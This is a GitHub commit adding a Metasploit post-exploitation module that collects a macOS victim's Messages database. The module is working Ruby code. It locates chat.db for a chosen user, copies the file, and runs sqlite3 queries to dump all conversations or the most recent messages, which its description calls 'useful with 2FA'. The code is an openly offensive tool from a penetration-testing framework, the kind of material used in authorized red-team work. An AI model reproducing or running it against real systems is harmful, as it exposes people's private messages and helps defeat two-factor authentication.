Skip to content

Commit a7fa294

Browse files
committed
Land rapid7#7597, Added post module for accessing OSX messages database
2 parents 4eb109b + dc64f63 commit a7fa294

File tree

1 file changed

+191
-0
lines changed

1 file changed

+191
-0
lines changed
Lines changed: 191 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,191 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Post
7+
8+
include Msf::Post::File
9+
include Msf::Auxiliary::Report
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => 'OS X Gather Messages',
14+
'Description' => %q{
15+
This module will collect the Messages sqlite3 database files and chat logs
16+
from the victim's machine. There are four actions you may choose: DBFILE,
17+
READABLE, LATEST and ALL. DBFILE and READABLE will retrieve all messages and
18+
LATEST will retrieve the last X number of message (useful with 2FA). Module
19+
was tested with OSX 10.11 (El Capitan).
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => [ 'Geckom <geckom[at]redteamr.com>'],
23+
'Platform' => [ 'osx' ],
24+
'SessionTypes' => [ "meterpreter", "shell" ],
25+
'Actions' =>
26+
[
27+
['DBFILE', { 'Description' => 'Collect messages DB file' } ],
28+
['READABLE', { 'Description' => 'Collect messages DB and download in a readable format' } ],
29+
['LATEST', { 'Description' => 'Collect the latest message' } ],
30+
['ALL', { 'Description' => 'Collect all messages data'}]
31+
],
32+
'DefaultAction' => 'ALL'
33+
))
34+
35+
register_options(
36+
[
37+
OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
38+
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)', 'CURRENT'])
39+
], self.class)
40+
end
41+
42+
43+
#
44+
# Collect messages db file.
45+
#
46+
def get_db(messages_path)
47+
print_status("#{peer} - Looting #{messages_path} database")
48+
message_data = read_file(messages_path)
49+
{filename: 'messages.db', mime: 'bin', data: message_data}
50+
end
51+
52+
53+
#
54+
# Generate a readable version of the messages DB
55+
#
56+
def readable(messages_path)
57+
print_status("#{peer} - Generating readable format")
58+
sql = [
59+
'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',
60+
'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',
61+
'usr.id || ": " || m.text, a.filename',
62+
'FROM chat as c',
63+
'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',
64+
'INNER JOIN message AS m ON m.ROWID = cm.message_id',
65+
'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',
66+
'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',
67+
'INNER JOIN handle usr ON m.handle_id = usr.ROWID',
68+
'ORDER BY m.date;'
69+
]
70+
sql = sql.join(' ')
71+
readable_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'")
72+
{filename: 'messages.txt', mime: 'text/plain', data: readable_data}
73+
end
74+
75+
#
76+
# Generate a latest messages in readable format from the messages DB
77+
#
78+
def latest(messages_path)
79+
print_status("#{peer} - Retrieving latest messages")
80+
sql = [
81+
'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',
82+
'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',
83+
'usr.id || ": " || m.text, a.filename',
84+
'FROM chat as c',
85+
'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',
86+
'INNER JOIN message AS m ON m.ROWID = cm.message_id',
87+
'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',
88+
'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',
89+
'INNER JOIN handle usr ON m.handle_id = usr.ROWID',
90+
"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"
91+
]
92+
sql = sql.join(' ')
93+
latest_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'")
94+
print_good("#{peer} - Latest messages: \n#{latest_data}")
95+
{filename: 'latest.txt', mime: 'text/plain', data: latest_data}
96+
end
97+
98+
#
99+
# Do a store_root on all the data collected.
100+
#
101+
def save(data)
102+
data.each do |e|
103+
e[:filename] = e[:filename].gsub(/\\ /,'_')
104+
p = store_loot(
105+
e[:filename],
106+
e[:mime],
107+
session,
108+
e[:data],
109+
e[:filename])
110+
111+
print_good("#{peer} - #{e[:filename]} stored as: #{p}")
112+
end
113+
end
114+
115+
#
116+
# Return an array or directory names
117+
#
118+
def dir(path)
119+
results = []
120+
subdirs = exec_shell_cmd("ls -l #{path}")
121+
122+
unless subdirs =~ /No such file or directory/
123+
results = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
124+
end
125+
126+
results
127+
end
128+
129+
#
130+
# This is just a wrapper for cmd_exec(), except it chomp() the output,
131+
# and retry under certain conditions.
132+
#
133+
def exec_shell_cmd(cmd)
134+
begin
135+
out = cmd_exec(cmd).chomp
136+
rescue ::Timeout::Error => e
137+
vprint_error("#{peer} - #{e.message} - retrying...")
138+
retry
139+
rescue EOFError => e
140+
vprint_error("#{peer} - #{e.message} - retrying...")
141+
retry
142+
end
143+
end
144+
145+
#
146+
def locate_messages(base)
147+
dir(base).each do |folder|
148+
m = folder.match(/(Messages)$/)
149+
if m
150+
m = m[0].gsub(/\x20/, "\\\\ ") + "/"
151+
return "#{base}#{m}"
152+
end
153+
end
154+
155+
nil
156+
end
157+
158+
def run
159+
if datastore['USER'] == 'CURRENT'
160+
user = exec_shell_cmd("/usr/bin/whoami")
161+
else
162+
user = datastore['USER']
163+
end
164+
165+
# Check file exists
166+
messages_path = "/Users/#{user}/Library/Messages/chat.db"
167+
if file_exist?(messages_path)
168+
print_good("#{peer} - Messages DB found: #{messages_path}")
169+
else
170+
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
171+
end
172+
173+
# Check messages. And then set the default profile path
174+
unless messages_path
175+
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
176+
end
177+
178+
print_good("#{peer} - Found messages file: #{messages_path}")
179+
180+
files = []
181+
182+
# Download file
183+
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
184+
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
185+
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
186+
187+
save(files)
188+
189+
end
190+
191+
end

0 commit comments

Comments
 (0)